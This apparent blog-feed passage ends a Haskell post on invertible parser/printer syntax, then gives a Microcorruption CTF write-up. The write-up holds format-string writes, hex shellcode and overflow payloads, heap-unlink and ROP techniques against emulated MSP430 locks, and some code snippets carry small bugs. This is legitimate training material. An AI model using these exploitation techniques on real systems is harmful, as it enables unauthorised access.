<center style="font-size: 40px; padding-bottom: 18px;">
↓
</center>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">f ::</span> (<span class="dt">ProductFunctor</span> f, <span class="dt">IsoFunctor</span> f)
  <span class="ot">=&gt;</span> <span class="dt">Iso</span> (a, (b, c)) d
  <span class="ot">-&gt;</span> f a <span class="ot">-&gt;</span> f b <span class="ot">-&gt;</span> f c <span class="ot">-&gt;</span> f d
f ctor fa fb fc <span class="fu">=</span> ctor <span class="fu">&lt;$&gt;</span>  fa <span class="fu">&lt;*&gt;</span> fb  <span class="fu">&lt;*&gt;</span> fc
f ctor fa fb fc <span class="fu">=</span> ctor <span class="fu">&lt;$&gt;</span> (fa <span class="fu">&lt;*&gt;</span> (fb <span class="fu">&lt;*&gt;</span> fc))</code></pre>
<p>Note that we build a tree of tupples, for multiple arguments. This is just leaving them in their uncurried form (with a different fixity).</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell">λ <span class="fu">:</span>t uncurry <span class="fu">.</span> uncurry
uncurry <span class="fu">.</span><span class="ot"> uncurry ::</span> (a <span class="ot">-&gt;</span> b1 <span class="ot">-&gt;</span> b <span class="ot">-&gt;</span> c) <span class="ot">-&gt;</span> ((a, b1), b) <span class="ot">-&gt;</span> c</code></pre>
<h4 id="some-templatehaskell-for-seasoning">Some TemplateHaskell for seasoning</h4>
<p>In order to lift data types (like our Ball from earlier) we will need to define partial isomorphisms for each of the branches of the product. This is boring and we hate typing, so we just shoot some TH at it. Pew pew pew!</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">data</span> <span class="dt">List</span> a
  <span class="fu">=</span> <span class="dt">Nil</span>
  <span class="fu">|</span> <span class="dt">Cons</span> a (<span class="dt">List</span> a)

defineIsomorphisms <span class="ch">&#39;&#39;</span><span class="dt">List</span></code></pre>
<center style="font-size: 40px; padding-bottom: 18px;">
↓
</center>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">nil  ::</span> <span class="dt">Iso</span> ()          (<span class="dt">List</span> a)
<span class="ot">cons ::</span> <span class="dt">Iso</span> (a, <span class="dt">List</span> a) (<span class="dt">List</span> a)</code></pre>
<h4 id="alternatively-we-get-a-syntax">Alternatively, we get a Syntax</h4>
<p>Alternative is easy, we just drop the Applicative constraint.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">class</span> <span class="dt">Alternative</span> <span class="kw">where</span>
<span class="ot">  (&lt;|&gt;) ::</span> f a <span class="ot">-&gt;</span> f a <span class="ot">-&gt;</span> f a</code></pre>
<p>Now we can glue all of these constraints together as a Syntax (and bolt on pure).</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">class</span> (<span class="dt">IsoFunctor</span> s, <span class="dt">ProductFunctor</span> s, <span class="dt">Alternative</span> s)
       <span class="ot">=&gt;</span> <span class="dt">Syntax</span> s <span class="kw">where</span>
<span class="ot">  pure ::</span> <span class="dt">Eq</span> a <span class="ot">=&gt;</span> a <span class="ot">-&gt;</span> s a</code></pre>
<h4 id="the-punchline">The punchline</h4>
<p>Remember our ugly (and immoral) parseMany and printMany definitions from earlier? They’re now both specific cases of a more general and much prettier definition.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">parseMany ::</span> <span class="dt">Parser</span> a <span class="ot">-&gt;</span> <span class="dt">Parser</span> (<span class="dt">List</span> a)
parseMany p
  <span class="fu">=</span>  const <span class="dt">Nil</span> <span class="fu">&lt;$&gt;</span> text <span class="st">&quot;&quot;</span>
 <span class="fu">&lt;|&gt;</span> <span class="dt">Cons</span>      <span class="fu">&lt;$&gt;</span> p
               <span class="fu">&lt;*&gt;</span> parseMany p
<span class="ot">printMany ::</span> (a <span class="ot">-&gt;</span> <span class="dt">Doc</span>) <span class="ot">-&gt;</span> (<span class="dt">List</span> a <span class="ot">-&gt;</span> <span class="dt">Doc</span>)
printMany p list
  <span class="fu">=</span> <span class="kw">case</span> list <span class="kw">of</span>
    <span class="dt">Nil</span>       <span class="ot">-&gt;</span> text <span class="st">&quot;&quot;</span>
    <span class="dt">Cons</span> x xs <span class="ot">-&gt;</span> p x
              <span class="fu">&lt;&gt;</span> printMany p xs</code></pre>
<center style="font-size: 40px; padding-bottom: 18px;">
↓
</center>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">many ::</span> <span class="dt">Syntax</span> s <span class="ot">=&gt;</span> s a <span class="ot">-&gt;</span> s (<span class="dt">List</span> a)
many p
  <span class="fu">=</span>  nil  <span class="fu">&lt;$&gt;</span> pure ()
 <span class="fu">&lt;|&gt;</span> cons <span class="fu">&lt;$&gt;</span> p <span class="fu">&lt;*&gt;</span> many p</code></pre>
<p>Nailed it! Unicorns and fairies do exist. Q.E.D.</p>
<h4 id="instances-to-make-it-actually-do-stuff">Instances (to make it actually do stuff)</h4>
<p>I’ll leave the Printer instances here, have a look at the paper if you would like to see the Parser.</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="kw">instance</span> <span class="dt">IsoFunctor</span> <span class="dt">Printer</span> <span class="kw">where</span>
  iso <span class="fu">&lt;$&gt;</span> <span class="dt">Printer</span> p
    <span class="fu">=</span> <span class="dt">Printer</span> (\b <span class="ot">-&gt;</span> unapply iso b <span class="fu">&gt;&gt;=</span> p)

<span class="kw">instance</span> <span class="dt">ProductFunctor</span> <span class="dt">Printer</span> <span class="kw">where</span>
  <span class="dt">Printer</span> p <span class="fu">&lt;*&gt;</span> <span class="dt">Printer</span> q
    <span class="fu">=</span> <span class="dt">Printer</span> (\(x, y) <span class="ot">-&gt;</span> liftM2 (<span class="fu">++</span>) (p x) (q y))

<span class="kw">instance</span> <span class="dt">Alternative</span> <span class="dt">Printer</span> <span class="kw">where</span>
  <span class="dt">Printer</span> p <span class="fu">&lt;|&gt;</span> <span class="dt">Printer</span> q
    <span class="fu">=</span> <span class="dt">Printer</span> (\s <span class="ot">-&gt;</span> mplus (p s) (q s))

<span class="kw">instance</span> <span class="dt">Syntax</span> <span class="dt">Printer</span> <span class="kw">where</span>
  pure x
    <span class="fu">=</span> <span class="dt">Printer</span> (\y <span class="ot">-&gt;</span> <span class="kw">if</span> x <span class="fu">==</span> y <span class="kw">then</span> <span class="dt">Just</span> <span class="st">&quot;&quot;</span> <span class="kw">else</span> <span class="dt">Nothing</span>)</code></pre>
<p>Thats it for now.</p>]]></description>
    <pubDate>Sun, 01 Mar 2015 00:00:00 UT</pubDate>
    <guid>http://ponies.io//posts/2015-03-01-round-tripping-balls-json-1.html</guid>
    <dc:creator>Christian Marie</dc:creator>
</item>
<item>
    <title>Microcorruption CTF levels</title>
    <link>http://ponies.io//posts/2014-09-16-microcorruption.html</link>
    <description><![CDATA[<p>I see that others have posted their writeups for microcorruption.org, so here are all of the answers I came up with. I’d like to hear about more interesting solutions or mistakes. I hope this helps you if you’re stuck.</p>
<h3 id="new-orleans">New Orleans</h3>
<p>This is a simple “find the password” level, this is how the password is checked:</p>
<pre><code>44bc &lt;check_password&gt;
44bc:  0e43           clr	r14
44be:  0d4f           mov	r15, r13
44c0:  0d5e           add	r14, r13
44c2:  ee9d 0024      cmp.b	@r13, 0x2400(r14)
44c6:  0520           jne	#0x44d2 &lt;check_password+0x16&gt;
44c8:  1e53           inc	r14
44ca:  3e92           cmp	#0x8, r14
44cc:  f823           jne	#0x44be &lt;check_password+0x2&gt;
44ce:  1f43           mov	#0x1, r15
44d0:  3041           ret
44d2:  0f43           clr	r15
44d4:  3041           ret
</code></pre>
<p>Where the password is stored at 0x2400 by another procedure on startup. This translates roughly to:</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="dt">char</span> *secret_pass = <span class="st">&quot;,0-}YX1&quot;</span>; <span class="co">// 0x2400, generated earlier</span>

<span class="dt">uint16_t</span> check_pass(<span class="dt">const</span> <span class="dt">char</span> <span class="dt">const</span> *p){
	<span class="dt">uint16_t</span> o = <span class="dv">0</span>;
	<span class="kw">do</span> {
		<span class="kw">if</span>(*(p + o) != *(secret_pass + o))
			<span class="kw">return</span> <span class="dv">0</span>;
	} <span class="kw">while</span> (++o != <span class="bn">0x8</span>);
	<span class="kw">return</span> <span class="dv">1</span>;
}</code></pre>
<h3 id="sydney">Sydney</h3>
<p>Very similar to the last; it checks two bytes at time against static values.</p>
<pre><code>448a &lt;check_password&gt;
448a:  bf90 733a 0000 cmp	#0x3a73, 0x0(r15) // 
4490:  0d20           jnz	$+0x1c
4492:  bf90 7c7c 0200 cmp	#0x7c7c, 0x2(r15)
4498:  0920           jnz	$+0x14
449a:  bf90 3172 0400 cmp	#0x7231, 0x4(r15)
44a0:  0520           jne	#0x44ac &lt;check_password+0x22&gt;
44a2:  1e43           mov	#0x1, r14
44a4:  bf90 3426 0600 cmp	#0x2634, 0x6(r15)
44aa:  0124           jeq	#0x44ae &lt;check_password+0x24&gt;
44ac:  0e43           clr	r14
44ae:  0f4e           mov	r14, r15
44b0:  3041           ret</code></pre>
<p>We can extract the password with a horrible one liner:</p>
<pre class="sourceCode bash"><code class="sourceCode bash"><span class="kw">printf</span> <span class="ot">$(</span>
	<span class="kw">grep</span> r15 <span class="kw">|</span> <span class="kw">grep</span> -o <span class="st">&#39;#0x....&#39;</span> <span class="kw">|</span> <span class="kw">tr</span> -d <span class="st">&#39;#0x&#39;</span> <span class="kw">|</span>
	<span class="kw">paste</span> -sd <span class="st">&#39;&#39;</span><span class="kw">|</span> <span class="kw">perl</span> -pe <span class="st">&#39;s/(..)/\\x\1/g&#39;</span>
<span class="ot">)</span></code></pre>
<h3 id="hanoi">Hanoi</h3>
<p>This one checks that the seventeenth byte of input is 0x11.</p>
<pre><code>4552:  3f40 d344      mov	#0x44d3 &quot;Testing if password is valid.&quot;, r15
4556:  b012 de45      call	#0x45de &lt;puts&gt;
455a:  f290 1100 1024 cmp.b	#0x11, &amp;0x2410
4560:  0720           jne	#0x4570 &lt;login+0x50&gt;
4562:  3f40 f144      mov	#0x44f1 &quot;Access granted.&quot;, r15
4566:  b012 de45      call	#0x45de &lt;puts&gt;</code></pre>
<p>Thus an input of seventeen bytes of \x11 will open the lock.</p>
<h3 id="adiss-ababa">Adiss Ababa</h3>
<p>A format string bug, r11 points to the user supplied string:</p>
<pre><code>447a:  0b12           push	r11
447c:  b012 c845      call	#0x45c8 &lt;printf&gt;
4480:  2153           incd	sp
4482:  3f40 0a00      mov	#0xa, r15
4486:  b012 5045      call	#0x4550 &lt;putchar&gt;
448a:  8193 0000      tst	0x0(sp)
448e:  0324           jz	#0x4496 &lt;main+0x5e&gt;
4490:  b012 da44      call	#0x44da &lt;unlock_door&gt;</code></pre>
<p>This is easily exploited without DEP. The simplest value to write is already effectively a noop. In this case, 0x02 is translated to “rrc sr”.</p>
<p>We overwrite the jz at 0x448e with a value of 0x02 via “\x8e\x44%u%n” and the lock opens.</p>
<h3 id="cusco">Cusco</h3>
<h4 id="the-vulnerability">The vulnerability</h4>
<p>Our first code injection level; the bug is in the allocation sizes:</p>
<pre><code>4500:  3150 f0ff      add	#0xfff0, sp
4504:  3f40 7c44      mov	#0x447c &quot;Enter the password ...&quot;, r15
4508:  b012 a645      call	#0x45a6 &lt;puts&gt;
450c:  3f40 9c44      mov	#0x449c &quot;Remember: passwords ...&quot;, r15
4510:  b012 a645      call	#0x45a6 &lt;puts&gt;
4514:  3e40 3000      mov	#0x30, r14
4518:  0f41           mov	sp, r15
451a:  b012 9645      call	#0x4596 &lt;getsn&gt;</code></pre>
<p>Nowhere near enough stack space is allocated at 0x4500. Later on, 48 bytes of the users input are copied directly onto the stack. This overflows the buffer and overwrites the saved return address.</p>
<h4 id="our-first-shellcode">Our first shellcode</h4>
<p>We’re allowed nulls here so this one is super simple:</p>
<pre><code>mov #0xff00, sr
call #0x10</code></pre>
<p>This is assembled to “324000ffb0121000” and is eight bytes long. Our exploit is therefore:</p>
<pre><code>0343034303430343324000ffb0121000f643</code></pre>
<p>Where “f643” is the little endian address of the shellcode on the stack and 0343 is a “noop”.</p>
<h3 id="reykjavik">Reykjavik</h3>
<p>This one is a bit dumb. Instead of trying to understand what it’s doing we can single step a few instructions from the request for input interrupt and see that it is checking for the magic value. Provide that value and the lock opens.</p>
<h3 id="montevideo">Montevideo</h3>
<p>Another obvious buffer overflow, almost exactly the same as Cusco. This time the offending user input must pass through strcpy so we can’t have nulls.</p>
<p>We can take the easy route and return to a function that will open the lock for us, as we control not just the return value but the stack. That’s no fun though and we can shave a few bytes off our input size if we write some shellcode without nulls.</p>
<h4 id="shellcode-without-nulls">Shellcode without nulls</h4>
<p>This uses two methods for getting nulls into addresses in order to fit a shellcode that doesn’t require any help from special addresses into sixteen bytes. This is important so that we can re-use it between levels without having to tweak it.</p>
<pre><code>mov  #0xf010, r4
and  #0x0fff, r4
mov  #0xff01, sr
dec  sr
call r4</code></pre>
<p>To get the call gate (0x0010) into r4, we simply mask it with an and instruction. We now have only eight bytes left and still need to make the call to r4, which leaves us with eight bytes. We use four bytes to copy 0xff01 to sr, then can decrement it once with two bytes and the final two bytes to make the call. This results in:</p>
<pre><code>344010f034f0ff0f324001ff12838412</code></pre>
<p>Simply appending the address of our shellcode results in an open lock in the minimum possible overflowed bytes.</p>
<h3 id="whitehorse">Whitehorse</h3>
<p>Nearly the same as Montevideo, just doesn’t use the strcpy, use exactly the same payload and adjust the return address.</p>
<h3 id="johannesburgh">Johannesburgh</h3>
<p>Almost the same as Montevideo and Whitehorse, but they add a stack cookie. We are in luck though, cookie is static, only one byte is checked, and it isn’t a terminator.</p>
<p>So we simply use the same payload, append the cookie, then append the return address.</p>
<h3 id="santa-cruz">Santa cruz</h3>
<p>On this level we are given two inputs: username and password.</p>
<p>They are copied onto the stack with strcpy like this:</p>
<pre><code>[username][password]</code></pre>
<p>There is no bounds checking on either, however, if the strlen() of password is greater than sixteen the program aborts.</p>
<p>The easiest way around this is to overflow the username. Supplying a valid length password will add the null terminator back in.</p>
<h3 id="jakarta">Jakarta</h3>
<p>Much like Santa Cruz, but the length check is done before the strcpy. This means that we cannot use the strcpy trick Santa Cruz. There is, however, a single byte overflow in the length check:</p>
<pre><code>4600:  7f90 2100      cmp.b	#0x21, r15</code></pre>
<p>If you cause the length of the buffer mod 255 (0xff) to be less than 0x21, you may pick size you like.</p>
<h3 id="novosibirsk">Novosibirsk</h3>
<p>Another format string vulnerability. Not much harder to exploit than the first. We’re probably meant to attain code execution here, however, there’s a lower hanging fruit. Simply overwrite the 0x7e here with 0x7f:</p>
<pre><code>44b0 &lt;conditional_unlock_door&gt;
...
44c4:  0f12           push	r15
44c6:  3012 7e00      push	#0x7e
44ca:  b012 3645      call	#0x4536 &lt;INT&gt;</code></pre>
<h3 id="algiers">Algiers</h3>
<p>Dynamic memory management is introduced here. I’ll assume a basic understanding of glibc implements malloc. This implementation is just a little simpler, there’s no prev_size in the chunk metadata.</p>
<h4 id="reconstruction-of-free-implementation">Reconstruction of free implementation</h4>
<p>In contrast to the glibc implementation, which includes a previous_size, these chunk descriptors appear to be:</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="kw">typedef</span> <span class="kw">struct</span> chunk_ { 
        <span class="kw">struct</span> chunk_ *prev;
        <span class="kw">struct</span> chunk_ *next;
        <span class="dt">uint16_t</span> size;
} chunk;</code></pre>
<p>We will take control of one chunk during the overwrite (six bytes). Here is a translation of the free() function that we will target:</p>
<table class="sourceCode c numberLines" id="free"><tr class="sourceCode"><td class="lineNumbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
</pre></td><td class="sourceCode"><pre><code class="sourceCode c"><span class="dt">void</span> free(<span class="dt">void</span> *p) 
{       
        <span class="co">// Mark this block free</span>
        chunk *c = p - <span class="kw">sizeof</span>(chunk);
        c-&gt;size &amp;= <span class="bn">0xfffe</span>;
        
        <span class="kw">if</span> (!c-&gt;prev-&gt;size &amp; <span class="bn">0x0001</span>) {
                <span class="co">// If previous block is free, link the previous and next</span>
                <span class="co">// together.</span>
                c-&gt;prev-&gt;size = c-&gt;size + c-&gt;prev-&gt;size + <span class="kw">sizeof</span>(chunk);
                c-&gt;prev-&gt;next = c-&gt;next;
                c-&gt;next-&gt;prev = c-&gt;prev;
                c = c-&gt;prev;
        }
        <span class="kw">if</span> (!c-&gt;next-&gt;size &amp; <span class="bn">0x0001</span>) {
                <span class="co">// If the next block is free, link the one past that to us.</span>
                c-&gt;size = c-&gt;next-&gt;size + c-&gt;size + <span class="kw">sizeof</span>(chunk);
                c-&gt;next = c-&gt;next-&gt;next;
                c-&gt;next-&gt;prev = c;
        };
}</code></pre></td></tr></table>
<p><br /> We control the memory p points to. As such, we can overwrite c-&gt;prev, next and size. If we point prev to our own memory, we can write any two bytes wherever we like.</p>
<p>Any even number for size is considered free, any odd number is in use. We are targeting line 11 by controlling the prev pointer.</p>
<p>Line 12 needs to be taken account of; The address of c-&gt;prev will be written back over our overwrite, possibly clobbering more than we might expect.</p>
<h3 id="vladivostok">Vladivostok</h3>
<p>A straightforward ASLR level. There is a printf bug which allows us to leak an address. By comparing the data at that leaked address to the image before randomization, we find that it is the address of the printf function.</p>
<p>By calculating the offset from the leaked code to the _INT procedure to be 386 bytes, we can make the attack as follows:</p>
<ol style="list-style-type: decimal">
<li>Leak the pointer with “%x%x”</li>
<li>Add 386 bytes to this address</li>
<li>Use that address as the overwritten return value, adding a four byte buffer and then 0x7f as the function argument</li>
</ol>
<h3 id="lagos">Lagos</h3>
<p>Our input is restricted to alphanumeric characters on this level. All we need to do is search for gadgets or whole functions within that range.</p>
<p>One is found pretty quickly, halfway into the getsn function:</p>
<pre><code>4650 &lt;getsn&gt;
4650:  0e12           push	r14
4652:  0f12           push	r15
4654:  2312           push	#0x2
4656:  b012 fc45      call	#0x45fc &lt;INT&gt;
465a:  3150 0600      add	#0x6, sp
465e:  3041           ret</code></pre>
<p>We return to 4654 and specify a maximum input size, write address and return address as 4242. This looks like:</p>
<table>
<thead>
<tr class="header">
<th align="left">AAAAAAAAAAAAAAAAA</th>
<th align="left">TF</th>
<th align="left">BBBB</th>
<th align="left">BB</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td align="left">Irrelevant bytes</td>
<td align="left">Ret</td>
<td align="left">Args</td>
<td align="left">Ret</td>
</tr>
</tbody>
</table>
<p><br /> Now another input will be requested, and will be returned to immediately after getsn.</p>
<h3 id="bangalore">Bangalore</h3>
<p>This level introduces DEP, where a page is marked either executable or writeable, but never both. Our solution is almost the same as Lagos.</p>
<p>We simply replace the call to getsn with a call to mark_page_executable and then return to the stack, where our shellcode is now executable.</p>
<h3 id="chernobyl">Chernobyl</h3>
<p>This is a step up from Algiers (the last heap corruption level) in two ways:</p>
<ol style="list-style-type: decimal">
<li>Overwrites are less obviously deterministic due to the use of a hash map.</li>
<li>Before free() is called, malloc() is called. This means we can’t be as lazy and have to overwrite the link forwards with a valid free chunk.</li>
</ol>
<p>Neither of these are a big deal.</p>
<p>The program has a bug whereby targeting one bucket causes a heap overflow. To target that bucket we want complete control of the hash generated for any input data.</p>
<h4 id="creating-collisions">Creating collisions</h4>
<p>We don’t need exact collisions, but they’re easy enough and we’ll remove a variable whilst we’re at it. Exact collisions mean that we don’t have to fully understand the bucket offset calculation. For completeness’s sake, this is what the bucket offset code seems to do:</p>
<pre class="sourceCode c"><code class="sourceCode c">  <span class="kw">inline</span> <span class="dt">uint16_t</span> hash_to_offset(hash_table *table, <span class="dt">uint16_t</span> key_hash)
  {
          <span class="dt">uint16_t</span> os;
          <span class="dt">uint16_t</span> i;
          <span class="kw">for</span> (os = <span class="dv">2</span>, i = table-&gt;no_buckets; i &gt; <span class="dv">0</span>; i--)
                  os += os;
          os -= <span class="dv">1</span>; 
          os &amp;= key_hash;
          os *= <span class="dv">2</span>; 
  }             </code></pre>
<p>The key_hash passed in is generated via a simple hashing function:</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="co">// &#39;AAAA&#39;  == </span>
<span class="co">// r0  acc == 07df</span>
<span class="co">// r1  acc == fbe0</span>
<span class="co">// r3  acc == 87ff</span>
<span class="co">// fin acc == 7fc0 == 32704</span>
<span class="dt">uint16_t</span> checksum(<span class="dt">const</span> <span class="dt">char</span> *key)
{
	<span class="dt">uint16_t</span> acc = <span class="dv">0</span>;
	<span class="dt">uint16_t</span> v;
	<span class="kw">while</span> (*key != &#39;\<span class="dv">0</span>&#39;) {
		v = *key;
		v += acc;
		acc = v;
		acc *= <span class="dv">32</span>;
		acc -= v;
		key++;
	}
	<span class="kw">return</span> acc;
}</code></pre>
<p>Haskell was used to generate dictionary words that would fit into any bucket:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">main ::</span> <span class="dt">IO</span> ()
main <span class="fu">=</span> collisions <span class="bn">0x0000</span> <span class="fu">&gt;&gt;=</span> print
  <span class="kw">where</span>
    collisions tgt <span class="fu">=</span> filter ((tgt <span class="fu">==</span>) <span class="fu">.</span> hash) <span class="fu">&lt;$&gt;</span> candidates
    candidates <span class="fu">=</span> lines <span class="fu">&lt;$&gt;</span> readFile <span class="st">&quot;/usr/share/dict/all&quot;</span>


<span class="ot">hash ::</span> <span class="dt">String</span> <span class="ot">-&gt;</span> <span class="dt">Word16</span>
hash <span class="fu">=</span> go <span class="dv">0</span>
  <span class="kw">where</span>
    go acc [] <span class="fu">=</span> acc
    go acc (x<span class="fu">:</span>xs) <span class="fu">=</span>
        <span class="kw">let</span> v <span class="fu">=</span> (fromIntegral <span class="fu">.</span> ord) x <span class="fu">+</span> acc <span class="kw">in</span>
            go (v <span class="fu">*</span> <span class="dv">32</span> <span class="fu">-</span> v) xs</code></pre>
<p>Now we can easily use the QuickCheck library to generate pseudo-random padding for any string we wish to inject.</p>
<h4 id="a-simple-heap-overflow">A simple heap overflow</h4>
<p>It is now possible to perform an overwrite in free(), so long as we ensure that the forward link in the overwritten chunk is pointing to the end of the heap (a large free block). Failing to ensure this causes the malloc() call just prior to abort due to perceived heap exhaustion.</p>
<p>The malloc() function simply walks the circular list until it finds a free chunk of appropriate size, or until it finds that its next link is at a lower address. A lower address indicates that it has reached the join of the circle and thus the end of the list.</p>
<h3 id="hollywood">Hollywood</h3>
<h4 id="initial-information-gathering">Initial information gathering</h4>
<p>The disassembly of this level appears to be complete garbage due to the program jumping to an unusual offset which throws off the web based disassembler completely.</p>
<p>This limits us to tracing execution flow via only a few methods. We can watch the call gate at 0x10 and take note of registers set at these points, or step over hundreds or thousands of instructions at a time hoping not to miss something important. There is one last option we explore later: tracing execution step by step automatically.</p>
<p>Providing a non-winning input to this level executes over 280000 instructions, making a manual single-step method highly improbable to work.</p>
<h4 id="msp430-emulator">MSP430 emulator</h4>
<p>Reading and comprehending such an amount of deliberately confusing assembly is going to take us days and be extremely cumbersome.</p>
<p>With Hollywood playing dirty like this, we shall cheat a little by downloading a <a href="https://github.com/cemeyer/MSP430-emu-uctf.git">MSP430 emulator</a>.</p>
<h4 id="local-debugging">Local debugging</h4>
<p>At this point, it’s easy to see what needs to be done. We need to define the programs interaction with it’s environment. There must be an interaction, but how do we find it?</p>
<p>Inspecting the emulator, we can see that the random number generation implementation is quite conveniently lacking entropy:</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="kw">case</span> <span class="bn">0x20</span>:
	<span class="co">// RNG</span>
	registers[<span class="dv">15</span>] = <span class="dv">0</span>;
	<span class="kw">break</span>;</code></pre>
<p>Given this, we can deduce that the input is read to the address 0x2600 each time on the emulated system. Unfortunately we can’t put a hardware read watchpoint on this due to the remote debugger interface coverage being minimal.</p>
<p>Time for a hatchet job:</p>
<pre><code>set can-use-hw-watchpoints 0
break *0x10 if $r2 == 0x8200
c
watch ($r5 == 0x2604)
watch ($r6 == 0x2604)
watch ($r7 == 0x2604)
... so on
c</code></pre>
<p>We start the emulator with an input of “AAAAAAAA”. Some time later gdb stops execution and we can see that it’s totally touching our bits, nice:</p>
<pre><code>(gdb) i r r4
r4             0x8282	0x8282</code></pre>
<p>Using the emulators trace capability and a MSP430 disassembler, we can trace execution and dig out the relevant algorithm (in AT&amp;T syntax).</p>
<p>Here is a cleaned up version that is run in a loop over the input until a null is hit:</p>
<pre class="sourceCode gnuassembler"><code class="sourceCode gnuassembler">clr  r4
clr  r6
add  <span class="co">@r5,r4</span>
swpb r4
xor <span class="co">@r5+, r6</span>
xor r4, r6
xor r6, r4
xor r4, r6</code></pre>
<p>Now, tracing access of r4 and r6, we see that they’re untouched until later, where they’re compared against magic values:</p>
<pre class="sourceCode gnuassembler"><code class="sourceCode gnuassembler">cmp	<span class="co">#-335,	r4	;#0xfeb1</span>
push sp
cmp	<span class="co">#-28008,r6	;#0x9298</span>
push sp</code></pre>
<p>Setting these registers to the magic values via the debugger opens the lock.</p>
<p>It’s worth noting that I was also able to find this read loop by comparing the traces of two different input sizes. Due to the lack of randomization, the traces only differed at the point of one loop continuing further. At this point, the program with a shorter input immediately performed the cmp r4.</p>
<p>Creating a GDB script, we’re now able to run an input through the system and quickly see the results on r4 and r6. We have to use a bit of a dodgy hack to break on the cmp instruction, as the emulator appears to be a little buggy:</p>
<pre><code>watch *(unsigned long*) $pc == 0xfeb19034
</code></pre>
<p>Using this feedback loop, we can quickly knock up an implementation of the checksum for reference:</p>
<pre class="sourceCode haskell"><code class="sourceCode haskell"><span class="ot">hash ::</span> <span class="dt">String</span> <span class="ot">-&gt;</span> (<span class="dt">Word16</span>, <span class="dt">Word16</span>)
hash <span class="fu">=</span> algo <span class="dv">0</span> <span class="dv">0</span> <span class="fu">.</span> map (swpb <span class="fu">.</span> makeWord) <span class="fu">.</span> chunksOf <span class="dv">2</span> <span class="fu">.</span> map (fromIntegral <span class="fu">.</span> ord)
  <span class="kw">where</span>
    makeWord (a<span class="fu">:</span>b<span class="fu">:</span>[]) <span class="fu">=</span> a <span class="fu">*</span> <span class="bn">0x100</span> <span class="fu">+</span> b
    makeWord (a<span class="fu">:</span>[])   <span class="fu">=</span> a <span class="fu">*</span> <span class="bn">0x100</span>

<span class="ot">algo ::</span> <span class="dt">Word16</span> <span class="ot">-&gt;</span> <span class="dt">Word16</span> <span class="ot">-&gt;</span> [<span class="dt">Word16</span>] <span class="ot">-&gt;</span> (<span class="dt">Word16</span>, <span class="dt">Word16</span>)
algo r4 r6 [] <span class="fu">=</span> (r6, r4)
algo r4 r6 (x<span class="fu">:</span>xs) <span class="fu">=</span>
    <span class="kw">let</span> r4&#39; <span class="fu">=</span> swpb (x <span class="fu">+</span> r4)
        r6&#39; <span class="fu">=</span> xor x r6
    <span class="kw">in</span> algo r6&#39; r4&#39;&#39; xs

<span class="ot">swpb ::</span> <span class="dt">Word16</span> <span class="ot">-&gt;</span> <span class="dt">Word16</span>
swpb n <span class="fu">=</span> 
    <span class="kw">let</span> l <span class="fu">=</span> n <span class="fu">.&amp;.</span> <span class="bn">0x00ff</span>
        r <span class="fu">=</span> n <span class="fu">.&amp;.</span> <span class="bn">0xff00</span>
    <span class="kw">in</span> (l <span class="ot">`shiftL`</span> <span class="dv">8</span>) <span class="fu">.|.</span> (r <span class="ot">`shiftR`</span> <span class="dv">8</span>)</code></pre>
<p>Having matched this up with the output, and proving that we can directly control either register via brute force, we must build a faster implementation to be able to control both within a reasonable time period.</p>
<p>A few minutes later, we have a alphanumeric string that creates the magic values in both r4 and r6 which triggers the lock. The alphanumeric restriction is for style and ease of handling only.</p>
<pre class="sourceCode c"><code class="sourceCode c"><span class="ot">#include &lt;stdio.h&gt;</span>
<span class="ot">#include &lt;time.h&gt;</span>
<span class="ot">#include &lt;stdlib.h&gt;</span>
<span class="ot">#include &lt;unistd.h&gt;</span>
<span class="ot">#include &lt;stdint.h&gt;</span>

<span class="ot">#define SWAP(a,b) a ^= b; b ^= a; a ^= b;</span>
<span class="ot">#define SWPB(p)   SWAP((p)[0], (p)[1])</span>
<span class="ot">#define READ16(p) (p[0] * 0x100 + p[1])</span>

<span class="dt">static</span> <span class="dt">const</span> <span class="dt">char</span> alphanum[] =
    <span class="st">&quot;0123456789&quot;</span> <span class="st">&quot;ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;</span> <span class="st">&quot;abcdefghijklmnopqrstuvwxyz&quot;</span>;

<span class="kw">inline</span> <span class="dt">void</span> hash(<span class="dt">uint16_t</span> * r4, <span class="dt">uint16_t</span> * r6, <span class="dt">const</span> <span class="dt">char</span> <span class="dt">const</span> *input);
<span class="kw">inline</span> <span class="dt">void</span> increment_attempt(<span class="dt">char</span> *attempt, size_t len);
<span class="kw">inline</span> <span class="dt">void</span> gen_random(<span class="dt">char</span> *s, <span class="dt">const</span> <span class="dt">int</span> len);

<span class="dt">void</span> main()
{
	srand(time(NULL));
	<span class="dt">uint16_t</span> r4, r6;
	<span class="dt">char</span> attempt[<span class="dv">12</span>];
	<span class="kw">while</span> (<span class="dv">1</span>) {
		gen_random(attempt, <span class="dv">12</span>);
		hash(&amp;r4, &amp;r6, attempt);

		<span class="kw">if</span> (r4 == <span class="bn">0xfeb1</span> &amp;&amp; r6 == <span class="bn">0x9298</span>)
			printf(<span class="st">&quot;%2hx: %s</span><span class="ch">\n</span><span class="st">&quot;</span>, r6, attempt);
	}
}

<span class="kw">inline</span> <span class="dt">void</span> gen_random(<span class="dt">char</span> *s, <span class="dt">const</span> <span class="dt">int</span> len)
{

	<span class="dt">int</span> i;
	<span class="kw">for</span> (i = <span class="dv">0</span>; i &lt; len; ++i)
		s[i] = alphanum[rand() % (<span class="kw">sizeof</span>(alphanum) - <span class="dv">1</span>)];
	s[len] = <span class="dv">0</span>;
}

